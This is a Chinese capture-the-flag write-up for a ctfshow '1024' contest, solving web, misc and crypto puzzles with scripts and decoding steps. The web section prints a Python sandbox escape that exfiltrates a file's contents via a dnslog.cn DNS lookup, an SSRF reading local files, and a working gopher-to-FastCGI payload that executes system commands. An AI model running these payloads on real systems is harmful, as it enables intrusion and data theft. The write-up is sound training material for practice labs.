web签到
error_reporting ( 0 ) ;
highlight_file ( __FILE__ ) ;
call_user_func ( $_GET [ 'f' ] ) ;
查看phpinfo
http://1879bc15-8585-46bd-a985-1002b1bf77c9.chall.ctf.show/?f=phpinfo
搜索funciton 发现函数
调用函数得到flag
http://1879bc15-8585-46bd-a985-1002b1bf77c9.chall.ctf.show/?f=ctfshow_1024
flag{welcome_2_ctfshow_1024_cup}
web fastapi
http://58201a5d-bea3-497f-97cd-76d65b7d282a.chall.ctf.show/docs
__builtins__. __dict__[ '__imp' + 'ort__' ] ( 'os' ) . system( "ping `cat /mnt/f1a9`.au9xny.dnslog.cn" )
web 图片代理
http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
发现picurl后面为base64编码,解码得到
http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=http://p.qlogo.cn/gh/372619038/372619038/0
猜测为ssrf 获取index.php文件
file:///proc/self/cwd/index.php
?picurl=ZmlsZTovLy9wcm9jL3NlbGYvY3dkL2luZGV4LnBocA==
if ( isset ( $_GET [ "picurl" ] ) ) {
$ch = curl_init ( explode ( "&" , base64_decode ( $_GET [ "picurl" ] ) ) [ 0 ] ) ;
curl_setopt ( $ch , CURLOPT_TIMEOUT , 2 ) ;
curl_setopt ( $ch , CURLOPT_CONNECTTIMEOUT , 2 ) ;
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true ) ;
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 ) ;
curl_setopt ( $ch , CURLOPT_BINARYTRANSFER , 1 ) ;
$data = curl_exec ( $ch ) ;
curl_close ( $ch ) ;
header ( "Content-type: image/jpeg" ) ;
print ( $data ) ;
unset ( $data ) ;
} else {
header ( 'location:index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w' ) ;
}
读取默认配置文件
默认的server配置:/etc/nginx/conf.d/default.conf
file:///etc/nginx/conf.d/default.conf
?picurl=ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==
server {
listen 80 default_server;
listen [ : : ] : 80 default_server;
root / var / www/ bushihtml;
index index. php index. html;
proxy_set_header Host $host ;
proxy_set_header X- Real- IP $remote_addr ;
proxy_set_header X- Forwarded- For $proxy_add_x_forwarded_for ;
location / {
try_files $uri $uri / / index. php? $args ;
}
location ~ \. php$ {
try_files $uri = 404 ;
fastcgi_pass 127.0 .0 .1 : 9000 ;
fastcgi_index index. php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name ;
}
location = / 404. html {
internal;
}
}
为gopher打fastcgi ,端口为9000
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
将以上base64编码后传入
http://596ee842-0412-48e1-9b31-9ee55bd398fa.chall.ctf.show/index.php?picurl=Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw
����X-Powered-By: PHP/7.4.11
Content-type: text/html; charset=UTF-8
21bba307-636d-4355-b947-17bccf282933
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
-----Made-by-SpyD3r-----
�������������srv
猜测第一串为flag,提交成功
misc签到
正则表达式使用 fl$
根据提示慢慢查找,^78210
56520 78210 35498184 9u4fl
78210 81068 79650456 ag{We
81068 86056 65454545 lcom
86056 89556 16548421 _102
89556 91205 26568154 4_Cha
91205 94156 566512548 lleng
94156 96825 15487856 _9u4
96825 98155 156565645 ck}56
flag{Welcom_1024_Challeng_9u4ck}
94156 101464 585786209 ruW3i
94156 99346 141290772 jPWxo
96825 112034 54545552 not_
112034 119601 320691220 jYpj_
112034 119745 342725460 Fjx0N
misc 重新签到
level 1 文件尾提示It’s all numbers,普通爆破无果 出题人提示CRC爆破,压缩包内文件为10字节数字,CRC=0x342F0E5C,10字节CRC爆破,如下为脚本:
from pwn import *
from parse import *
from pwnlib. util. iters import bruteforce
import string
from binascii import crc32
def brute_force ( ) :
return bruteforce( lambda x: crc32( x. encode( ) ) == int ( '342F0E5C' , 16 ) , string. digits, length= 10 , method= 'fixed' )
print ( brute_force( ) )
好在设置的数字不大,约1min得结果,为level 2密码。
0009656856 level2 利用stegcracker接出txt stegcracker level_2.jpg wd
level 3 压缩包注释The password is 32 bits.,结合level 2解出的提示,各种可能的32位md5值都不行,经出题人-反复-提醒,才知道32是故意留的坑,真正的加密方式是sha1(什么呀),尝试sha1加密解出flag。
flag{W31c0m3_t0_4he_ctf5h0w_f4mi1y}
misc大威天龙
如是我闻:他根休梭拔游告过金消排信顛祖劫捐息稳想灭七息虚沙兄诵界排闍幽毘殊醯哈及醯麼藝持西央恐奉兄行難亦功者睦胜奉于众老曳難殿親劫慈謹陰故高雙下羅亿特盧彌皂楞游拔夜特經行来慈帝薩施说众定殊姪于西定中豆福盧月謹資号夫未信德夜印六德害寂急贤師拔胜利死下兄數诸茶困夜者困开排界依捐多山廟利忧寫六寂寂幽来解陀月羅先焰尼者信诵瑟輸時利胜善時孫矜數央多時隸便輸空告閦孫孕捐度六持念紛求曰能薩劫孤參困七消宗創心劫急稳除六须急廟婦朋諦多经蒙昼死弟經矜殺修提即婦怖六德宇蒙迦孕者奉真曳資消福金吼夫族排寂資凉曳信資惜妙穆楞實毘花老此栗創孕想西室室濟通雙積廟奉守五羅定未焰福實闍和槃陀孤室毒定孫除隸药足六恐伊胜曳智資殊蘇究奉藥界游實便开以穆施通礙及精下东百树即殊紛實除此造急七蘇楞令根高智孝楞能月诸伊方慈老憐伊盡盡想及蒙哈皂困休在璃解除重室德毘说貧薩东如来廟尼亿诵阿即楞殿朋金廣藐師修说西陀盡须璃休究千能敬宝敬利六急印殺弟實殺灯阿百訶盧哈灯勒告宝夫先慈訶尊舍央難梭进陀夷數故閦如兄曳尼孤哈藥普遮阿提栗實貧濟曳殺号弟友放愛焰陰文時夢昼释六奉百未伊施来姪特宗粟愛安槃及弥七諦琉夫提顛消夫涅謹多方真粟敬鄉隸金知印夫经消琉梭困雙廟经竟乾心究灭印守教幽方智药想恤尊稳孫毘想昼花故者鄉遮消花消陵焰在开众牟戒奉胜倒睦阿心舍橋路貧醯究沙諦室姪众名琉尼闍进刚貧树僧禮怖真信牟五蘇师親阿夷消孝及毒究迦妙念五室利通遮来廟難盧夜方創善说宇在曰通毘實游孤殺在閦中恤急遠普生持捨焰舍孝夷友皂曳虚麼普阿定清究逝故智想羅护妙福舍重惜琉親室令毘訶妙勒多三刚礙息皂寡王空輸彌夢王特守众众遮告忧量息貧未橋药麼朋兄高福刚百謹姪遮時花于故灭創放放毒殊夜如劫親曰亿数施众穆及遠遮尼殊吼困劫清幽释花夢虚遮行舍僧祖即夜西親花死休廟修惜顛北琉及牟謹遮下住蘇殿曳陵亿和姪名金資姪先真亦尼开说和中蒙顛号妙告经以奉夢豆勒寫牟五中央迦積足戒閦涅下奉惜倒勒害牟宇北稳礙央栗遮诸清经經花真昼室室须真槃通參盡蘇量诸师陰瑟诵閦粟排親令根毘戏夢夷輸姪根造戒鄉粟空山閦宗矜首謹沙阿告貧陵月槃守耨紛稳先謹幽寫定百訶能清劫顛妙持特经師依须求逝空能慈雙福尊禮勒虚多普閦说守月过各礙护定薩夜施排親未愛盧护凉貧知千千名夷宗求焰尊謹未六教孝宝弥未安下至福诸便胜勒焰陀号遠穆尊訶度金栗普夫惜者弟彌皂孫除殺量于殺室陵劫盧和安姪死师药北至親灭曰伊说兄遠万夢幽持吼惜藐王粟寡
与佛论禅解密
新佛曰解密
熊曰解密
佛又曰解密
flag{6o_R3_6a_m4_h0ng}
Misc 非常简单
看见压缩包和一张图片 压缩包提示6位数暴力点,就先6位数暴力破解。 
暴力破解得到答案 里面装的是这个
Base92加密拿去在线工具解 http://ctf.ssleye.com/base92.html 
然后以看是base64加密在拿去解 http://ctf.ssleye.com/base64.html
接出来了摩斯密码,再拿去转换
然后那张图片还没用上,图片里面隐写内容我们用foremost将其分离出来
按四下9对应九键键盘的9的第四个,就是z 按两下4对应九键键盘的4的第二个,就是h 按两下3对应九键键盘的3的第二个,就是e 按四下7对应九键键盘的7的第四个,就是s 按两下4对应九键键盘的4的第二个,就是h 按一下6对应九键键盘的6的第一个,就是m 按三下4对应九键键盘的4的第三个,就是i 按一下6对应九键键盘的6的第一个,就是m 按一下2对应九键键盘的2的第一个,就是a 总的写下来就是压缩包的密码了zheshmima
打开之后一个加密的压缩包,另一个文本文档说你怕蛇吗?那就是蛇加密了,想起之前的那个提示杀手锏的还没用,就是蛇解密的key了。Key是小写的THE END,也就是the end 拿去在线解密 http://serpent.online-domain-tools.com/
解压flag.zip
flag{zhuninqianchengsijin}
crypto 麻辣兔头第七锅
Csoe lnno,pdsad u l tr srietaetust ht hce teiteh bomoh oe neppfcdw uroiitcrimstoasnesh uucso wsii lahetpnvnis leeoc oec thwfseth h shetiHaserhcana ,ehpdrp p oaLiiolnamnridwpegt sesait lsncoo .ia ftfzla hli sNeanbsamggout { nmut8iderocts e 5s a t6 wmahdphone4oind awcg sbeh oe3r tfpesh ad eNr8i aa4nPttf oui8swroeueenbcr'.7hssWd e2foG bofohcr do7mt l3,hed6 en 7a tt2seih8 ate1trls4oteed h 5t,tt}h hrTeteuhmhmta e,hts s hsa tae tolpdo lae s rcbesaeecen uetsrm ee rl meftos-hspeetevs cieltd i erktnieotgl ,hyt t htsteh,o a otGep ofiavfnleeilrco ntnmm seet nnho tefasi r rmea a rSnceakr fieienantdtsy et rdiae tnqeuduqt iueHradael ps,ap mittonhhneaagstt s M.tte hhnPee,ry u ddaeerrneic veei,nn dgio nwtdehedee idbr,y jwtuihsletli rpd oiCwcreteraastt eof rrt ohwmai ttt hhG eoc vecerortnnasmieennn ttu sno afll oitnehgne a ebgsloteva ebRrlinigeshdht.eshd,a tst hhwoahutel ndae mvnoeonrtg abtnehy e csfheoa rnamgr eeod f L fiGoforev elringmhetn ta nbde ctormaenss ideenstt rcuacutsievse; oafn dt haecsceo rednidnsg,l yi ta lils etxhpee rRiiegnhcte ohfa st hseh oPweno,p lteh atto maalntkeirn do ra rteo maobroel idsihs piots,e da ntdo tsou fifnesrt,i twuhtiel en eewv iGlosv earrnem esnutf,f elraaybilneg, itthsa n to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object, evinces a design to reduce them under absolute Despotism, it is their ri
栅栏解密发现前半部分 6个一组有flag痕迹
flag{8c56d4ab3e 观察原文发现规律
选取这个部分继续testall
{ nmut8iderocts e 5s a t6 wmahdphone4oind awcg sbeh oe3r tfpesh ad eNr8i aa4nPttf oui8swroeueenbcr'.7hssWd e2foG bofohcr do7mt l3,hed6 en 7a tt2seih8 ate1trls4oteed h 5t,tt}h hrTeteuhmhmta e,hts s hsa tae tolpdo lae s rcbesaeecen uetsrm ee rl meftos-hspeetevs cieltd i erktnieotgl ,hyt t htsteh,o a otGep ofiavfnleeilrco ntnmm seet nnho tefasi r rmea a rSnceakr fieienantdtsy et rdiae tnqeuduqt iueHradael ps,ap mittonhhneaagstt s M.tte hhnPee,ry u ddaeerrneic veei,nn dgio nwtdehedee idbr,y jwtuihsletli rpd oiCwcreteraastt eof rrt ohwmai ttt hhG eoc vecerortnnasmieennn ttu sno afll oitnehgne a ebgsloteva ebRrlinigeshdht.eshd,a tst hhwoahutel ndae mvnoeonrtg abtnehy e csfheoa rnamgr eeod f L fiGoforev elringmhetn ta nbde ctormaenss ideenstt rcuacutsievse; oafn dt haecsceo rednidnsg,l yi ta lils etxhpee rRiiegnhcte ohfa st hseh oPweno,p lteh atto maalntkeirn do ra rteo maobroel idsihs piots,e da ntdo tsou fifnesrt,i twuhtiel en eewv iGlosv earrnem esnutf,f elraaybilneg, itthsa n to right themselves by abolishing the forms to which they are accustomed. But when a long train of abuses and usurpations, pursuing invariably the same Object, evinces a design to reduce them under absolute Despotism, it is their ri
算一下从tfpesh后是解出啥
说明从d8开始 d84f8eb7d2bc73672814d5} 两部分拼接得到flag
MISC 1024zip套娃
学到了,附上师傅几个有用脚本 解压zip
import zipfile
import os
now = "4102.zip"
while 1 :
print ( "now zip: " + now, end= '\t' )
zfile = zipfile. ZipFile( now)
passFile= open ( 'dic.txt' )
for line in passFile. readlines( ) :
try :
password = line. strip( '\n' )
zfile. extractall( members= zfile. namelist( ) , pwd= password. encode( 'utf-8' ) )
zfile. close( )
try :
os. remove( now)
except OSError as e:
print ( e)
names = os. listdir( )
print ( names)
for name in names:
if name. endswith( '.zip' ) and name != now:
now= name
break
break
except :
pass
密码字典,可用代码生成,数字不多也可自己写
0124
0214
0241
0142
0412
0421
1024
1042
1204
1402
1240
1420
2014
2041
2104
2140
2401
2410
4012
4102
4201
4120
4021
4210
得到1024.txt,base解码
import base64
import random
def b16de ( s) :
s = base64. b16decode( s. encode( ) ) . decode( )
print ( 'base16' )
return s
def b32de ( s) :
s = base64. b32decode( s. encode( ) ) . decode( )
print ( 'base32' )
return s
def b64de ( s) :
s = base64. b64decode( s. encode( ) ) . decode( )
print ( 'base64' )
return s
def main ( s) :
for i in range ( 15 ) :
try :
s = b16de( s)
except :
try :
s = b32de( s)
except :
try :
s = b64de( s)
except :
print ( 'Oh...no...' )
f = open ( 'decode.txt' , 'w' )
f. write( s)
f. close( )
if __name__== "__main__" :
f = open ( '1024.txt' , 'r' )
s = f. read( )
f. close( )
main( s)
decode.txt内容提取,base64解密的zip压缩包
import base64
f = open ( 'decode.txt' , 'r' )
data = f. read( )
f. close( )
decoded = base64. b64decode( data)
with open ( '1.zip' , 'wb' ) as z:
z. write( decoded)
解压得到flag.png flag{1024lozs!O24_i5_veRy_haowan}
你可能感兴趣的:(白帽子黑客攻防,ctf,ctfshow,web,phpinfo)
JavaScript基础-API 和 Web API
難釋懷
前端 javascript 开发语言
在现代Web开发中,API(应用程序接口)是连接不同软件组件或系统之间的桥梁。对于前端开发者来说,JavaScript与WebAPI的结合使用尤为重要,它使得我们可以访问浏览器提供的各种功能和服务,从而构建出交互性更强、用户体验更好的网页应用。本文将介绍API的基本概念,重点探讨WebAPI及其在JavaScript中的应用。一、什么是API?API全称为“ApplicationProgrammi
Spring Boot详解
这河里吗l
SpringBoot spring boot 后端 java spring
目录1.SpringBoot介绍1.1什么是SpringBoot1.2SpringBoot特点1.3Javaweb、spring、springmvc和springboot有什么区别?1.4SpringBoot的Starter2.SpringBoot入门HelloWorld3.SpringBoot的全局配置文件3.1properties配置文件3.2yml配置文件3.3yml与properties的
JavaScript基础-DOM事件流
難釋懷
javascript 开发语言
在Web开发过程中,理解和掌握DOM事件流是实现高效交互的关键。DOM事件流描述了当一个事件发生时,它在文档树中的传播路径。了解事件流的概念有助于我们更精确地控制事件处理逻辑,避免不必要的行为,并提升用户体验。本文将深入探讨DOM事件流的基本概念,包括事件捕获、目标阶段和事件冒泡,并通过示例展示如何应用这些知识。一、什么是DOM事件流?DOM事件流是指事件在整个页面结构中传播的过程。根据W3C标准
Python 应用部署云端实战指南 —— AWS、Google Cloud 与 Azure 全解析
清水白石008
python Python题库 python aws azure
Python应用部署云端实战指南——AWS、GoogleCloud与Azure全解析在当下云计算飞速发展的时代,将Python应用部署到云平台已成为大多数开发者和企业的首选。无论是构建Web服务、API接口,还是自动化任务调度,云平台都能为我们提供高可靠性、弹性伸缩与简便管理的优势。本文将详细阐述如何将Python应用分别部署到AWS、GoogleCloud与Azure,并介绍各平台下涉及的部署工
ARM:ELF bin Hex axf
守正待
ARM SoC RTOS arm
前言:PC平台流行的可执行文件格式(ExecutableFileFormat),主要是Windows下的PE(PortableExecutable)和Linux的ELF(ExecutableandLinkingFormat,可执行和链接格式)。他们都是COFF(CommonObjectFileFormat)的变种。ARM架构采用的也是ELF文件格式。COFF是在UnixSystemVRelease
AWS WAF实战指南:从入门到精通
ivwdcwso
安全 aws 网络 云计算 WAF 安全
1.引言AmazonWebServices(AWS)WebApplicationFirewall(WAF)是一款强大的网络安全工具,用于保护Web应用程序免受常见的Web漏洞攻击。本文将带您从入门到精通,深入探讨AWSWAF的实际应用策略,并提供具体案例,帮助您更好地保护您的Web应用程序。2.AWSWAF基础2.1什么是AWSWAF?AWSWAF是一种Web应用程序防火墙,可以帮助保护您的Web
如何在Spring Boot中设置HttpOnly Cookie以增强安全性
遥不可及~~斌
spring boot 后端 java
引言在Web开发中,Cookie是用于在客户端和服务器之间传递信息的重要机制。然而,Cookie的安全性一直是一个备受关注的问题。特别是当Cookie中存储了敏感信息(如会话ID)时,如何防止这些信息被恶意脚本窃取就显得尤为重要。HttpOnly属性是增强Cookie安全性的一种有效手段。本文将详细介绍如何在SpringBoot中设置HttpOnlyCookie,并探讨其背后的安全机制。什么是Ht
探索安全的开发之路:Eclipse Steady深度揭秘
尚竹兴
探索安全的开发之路:EclipseSteady深度揭秘steadyEclipseSteady:这是一个开源的持续集成和持续部署工具,用于自动化软件的开发和部署过程。它提供了一个基于Web的界面,用于创建和管理软件项目的构建和部署流程。适合用于需要自动化软件开发和部署的开发团队。特点包括简单易用、丰富的插件生态系统和与Maven和Jenkins的紧密集成。项目地址:https://gitcode.c
使用 Selenium 控制现有 Edge 窗口以规避爬虫检测
秋叶原の黑猫
数据库
在网络爬虫开发中,网站的防爬机制常常会检测自动化工具(如Selenium)启动的浏览器实例。为了绕过这种检测,一种有效的方法是利用Selenium连接到手动打开的现有浏览器窗口,而不是每次都启动一个新的实例。本文将详细介绍如何使用Selenium控制现有的MicrosoftEdge浏览器窗口,并结合代码示例展示实现过程。1.背景介绍:为什么需要控制现有窗口?传统的Selenium脚本会通过WebD
一篇文章带你了解-selenium工作原理详解
程序员笑笑
软件测试 selenium 测试工具 软件测试 自动化测试 功能测试 程序人生 职场和发展
前言Selenium是一个用于Web应用程序自动化测试工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7,8,9,10,11),MozillaFirefox,Safari,GoogleChrome,Opera等。主要功能包括:测试与浏览器的兼容性——测试你的应用程序看是否能够很好得工作在不同浏览器和操作系统之上。测试系统功能——创建回归测试检验软件功能
Selenium工作原理详解
天才测试猿
selenium 测试工具 自动化测试 软件测试 测试用例 python 职场和发展
Selenium是一个用于Web应用程序自动化测试工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7,8,9,10,11),MozillaFirefox,Safari,GoogleChrome,Opera等。主要功能包括:测试与浏览器的兼容性——测试你的应用程序看是否能够很好得工作在不同浏览器和操作系统之上。测试系统功能——创建回归测试检验软件功能和用
vite项目中vite.config.js使用.env.development文件中的配置数据
初遇你时动了情
vite react vue3 javascript ecmascript vite
如下图.env和vite.config.js配置同级目录loadEnv就可以获取.env配置信息import{defineConfig,loadEnv}from"vite";importreactfrom"@vitejs/plugin-react-swc";import{resolve}from"path";importvitePluginImpfrom"vite-plugin-imp";impo
WebGL开发:BabylonJS从入门到精通(下卷)
莲华君
前端权威教程合集 WebGL系统化学习 webgl
全书卷目:WebGL开发:BabylonJS从入门到精通(上卷)WebGL开发:BabylonJS从入门到精通(下卷)目录第一部分:基础篇——构建3D世界的基石第一章:BabylonJS概述与环境搭建什么是BabylonJS:WebGL宇宙的创世引擎BabylonJS的历史与优势:开源利剑的进化史安装与配置开发环境:3D工匠的工坊搭建术使用BabylonJSPlayground与本地开发环境浏览器
渗透测试-越权测试、sql注入
夜晚打字声
笔记
越权访问简介(BrokenAccessControl,简称BAC):web应用程序中常见漏洞,存在范围广、危害大,被OWASP列为web应用十大安全隐患第二名。该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定越权
2023年全国职业院校技能大赛(高职组)“云计算应用”赛项赛卷10(公有云)
忘川_ydy
云计算 云计算 kubernetes openstack docker python ansible k8s
#需要资源(软件包及镜像)或有问题的,可私聊博主!!!#需要资源(软件包及镜像)或有问题的,可私聊博主!!!#需要资源(软件包及镜像)或有问题的,可私聊博主!!!模块三公有云(40分)企业选择国内公有云提供商,选择云主机、云网络、云硬盘、云防火墙、负载均衡等服务,可创建Web服务,共享文件存储服务,数据库服务,数据库集群等服务。搭建基于云原生的DevOps相关服务,构建云、边、端一体化的边缘计算系
python将网银web工程转换成客户端electron工程案例
银行金融科技
人工智能 机器学习 DeepSeek electron
以下是一个将网银Web工程转换为Electron客户端的技术方案,结合Python和Electron实现桌面端增强功能:bash#项目结构webank-electron/├──main/#Electron主进程代码│├──main.js│└──python_server.py├──renderer/#网页渲染进程│└──webank-web/#原始网银Web工程├──package.json└──
每天分析一个开源项目:open_deep_research
申非zz
LLM github 开源
每天分析一个开源项目:open_deep_research项目链接:langchain-ai/open_deep_research项目介绍项目功能:OpenDeepResearch是一个基于LangGraph的Web研究助手,旨在帮助用户快速生成特定主题的综合性报告。它模拟了OpenAI和Gemini的DeepResearch流程,但提供了更强的自定义能力,允许用户配置模型、Prompt、报告结构
GitHub项目推荐--基于LLM的开源爬虫项目
惟贤箬溪
穷玩Ai github 爬虫
以下是一些基于大语言模型(LLM,LargeLanguageModel)的开源爬虫项目,它们结合了自然语言处理(NLP)技术与爬虫的功能,能在一定程度上提升爬取的智能化和精度。这些项目可以用于自动化抓取、内容提取、数据分析等任务。1.GPT-3WebScraper简介:这是一个基于OpenAIGPT-3模型的网页抓取工具,利用GPT-3的自然语言理解能力来生成有用的爬虫策略、处理网页内容并提取有价
PHP与Java的区别分析
Monika Zhang
java 架构设计 php java 开发语言
一、语言特点php:一种的像Python的动态弱语言类型的服务器脚本语言,不需要编译代码;它是专为Web开发目的而开发和设计的,而且简单容易上手。Java:是一种通用的面向对象编程语言,属于强势优选语言类型,在执行前必须先正确编译。是面向对象的和人类可读的;支持服务器端和客户端;可用于开发独立应用程序或基于Web的应用程序,上手比PHP难。二、语法1.PHP是一种脚本语言,代码在服务器上执行,而结
CSS特效花样鼠标悬停效果
DTcode7
HTML网站开发 # 前端基础入门三大核心之CSS HTML CSS web css3 网页开发
CSS特效花样鼠标悬停效果鼠标悬停效果概述基本概念与作用示例一:基本的颜色变化代码解释示例二:渐变背景色代码解释示例三:放大与阴影效果代码解释示例四:文字提示代码解释示例五:旋转和翻转代码解释实际工作中的使用技巧在现代Web开发中,良好的用户体验往往意味着不仅仅要有一个功能完备的应用程序,还需要具备吸引人的视觉效果。鼠标悬停效果便是提升网站交互性和吸引力的一种常见方式。本文将探讨如何运用CSS来实
流数据(Streaming Data)处理
人间无人事
javascript
在看代码之前,我们应当首先知道流数据与webSocket之间的区别(两者不能同一而论),因为存在区别所以在读取数据时使用相对较大的差距下面我将概述我对两者区别的一个总结(若有不对,请斧正)流数据(StreamingData)和WebSocket是两种不同的技术,但它们在实时数据传输方面有一些相似之处。以下是它们的区别和相同点:相同点1.实时性-两者都支持实时数据传输,适合需要低延迟的场景,如聊天应
Python基础知识点总结
豆芽819
tip python 开发语言
1Python简介Python特点:解释型语言:无需编译,逐行执行。动态类型:变量类型在运行时确定。简洁易读:语法接近自然语言,代码简洁。跨平台支持:Windows/Linux/macOS均可运行。应用领域:Web开发、数据分析、人工智能、自动化脚本等。开发环境:推荐使用IDLE、PyCharm、VSCode或JupyterNotebook。2Python数值运算基本运算符:算术:+,-,*,/,
Python与区块链隐私保护技术:如何在去中心化世界中保障数据安全
Echo_Wish
Python! 实战! 区块链 python 去中心化
Python与区块链隐私保护技术:如何在去中心化世界中保障数据安全在区块链世界里,透明性和不可篡改性是两大核心优势,但这也带来了一个悖论——如何在公开账本的同时保障用户隐私?如果你的交易记录对所有人可见,如何防止敏感信息泄露?Python作为区块链开发中最受欢迎的语言之一,提供了强大的工具和库来增强隐私保护。本文将深入探讨区块链的隐私保护技术,并结合Python代码示例,带你了解如何在Web3时代
如何对关键字段进行脱敏(一)在使用Mybatis-plus执行查询
张瀚元782738120
mybatis java
为了在读取用户表中的mobile字段时进行脱敏处理,并实现一个通用的方法以便将来对其他字段例如:邮箱、身份证、姓名等进行脱敏处理,可以采用以下步骤:1.添加依赖首先,在pom.xml文件中添加必要的依赖,包括SpringBoot、MyBatis-Plus和Hutool工具库:org.springframework.bootspring-boot-starter-webcom.baomidoumyb
FastAPI Web框架 [1.9]
carefree798
FastAPI python
表单数据fromfastapiimportFastAPI,Form#导入Form#表单数据#接收的不是JSON,而是表单字段时,要使用Formapp=FastAPI()@app.post("/login/")asyncdeflogin(username:str=Form(...),password:str=Form(...)#定义Form参数):return{"username":username
OpenSSL 3.0.2 报 dh key too small 的问题
aseity
运维经验 git linux ssl svn
问题复现运行命令curl访问一个https网站,可能会出现"dhkeytoosmall"的问题。>curl-v--insecurehttps://some_web_site*Trying175.21.4.7:443...*Connectedtosome_web_site(175.21.4.7)port443(#0)*ALPN:offersh2,http/1.1*TLSv1.3(OUT),TLSha
Python Web框架 Flask vs Django vs FastAPI
ZengDerby
python flask fastapi django
如果您需要构建大型的、功能丰富的应用程序,Django可能是一个很好的选择。如果您需要更灵活的框架,可以选择Flask来定制开发。而对于追求极致性能和高并发处理的项目,FastAPI可能是一个更加理想的选择。优缺点Flask在小型项目或微服务理想的选择。Flask灵活且轻量,非常适合快速开发小型应用。Flask是一个非常灵活的框架,它允许您根据项目需求进行定制。您可以根据需要选择合适的插件和扩展。
MongoDB
z小天才b
MongoDB mongodb 数据库
一、MongoDB简介1.1什么是MongoDB?MongoDB是一个基于分布式文件存储的开源NoSQL数据库系统,由C++语言编写,旨在为Web应用提供可扩展的高性能数据存储解决方案。MongoDB将数据存储为一个文档,数据结构由键值对组成,类似于JSON对象,字段值可以包含其他文档、数组及文档数组。1.2MongoDB的核心特性文档型数据库:数据以BSON(BinaryJSON)格式存储灵活的
国内高防加速CDN内容分发服务详细接入教程
网友阿贵
网站运维 web安全 安全性测试 安全威胁分析
CDN功能与接入指南CDN(内容分发网络)是一种集安全防护和内容加速于一体的网络解决方案,适用于需要兼顾安全性和访问速度的业务场景。以下是其主要功能与接入步骤:核心功能:免费SSL证书:支持一键申请SSL证书,确保数据传输安全。Web攻击防护:集成WAF防火墙,防御SQL注入、XSS等常见攻击。CC攻击防御:智能识别并拦截恶意请求,保护网站稳定运行。BOT机器人分析:自动识别并管理机器人流量,优化
通过swoole协程实现并发编程
韩淼燃
php7面试架构师 swoole协程实现并发编程
目前的Swoole内置了丰富的协程组件供开发者直接调用以便快速实现异步非阻塞的并发编程,省去了开发者自己实现相应底层代码的麻烦:TCP/UDPClient:Swoole\Coroutine\ClientTCP/UDPServer:Swoole\Coroutine\ServerHTTP/WebSocketClient:Swoole\Coroutine\HTTP\ClientHTTP/WebSocke
JAVA基础
灵静志远
位运算 加载 Date 字符串池 覆盖
一、类的初始化顺序
1 (静态变量,静态代码块)-->(变量,初始化块)--> 构造器
同一括号里的,根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况,那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象,根
keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器(称为A和B),以统一的VIP对外提供服务
1.正常情况下,A和B都启动,B会把A的数据同步过来(B is slave of A)
2.当A挂了后,VIP漂移到B;B的keepalived 通知redis 执行:slaveof no one,由B提供服务
3.当A起来后,VIP不切换,仍在B上面;而A的keepalived 通知redis 执行slaveof B,开始
java文件操作大全
0624chenhong
java
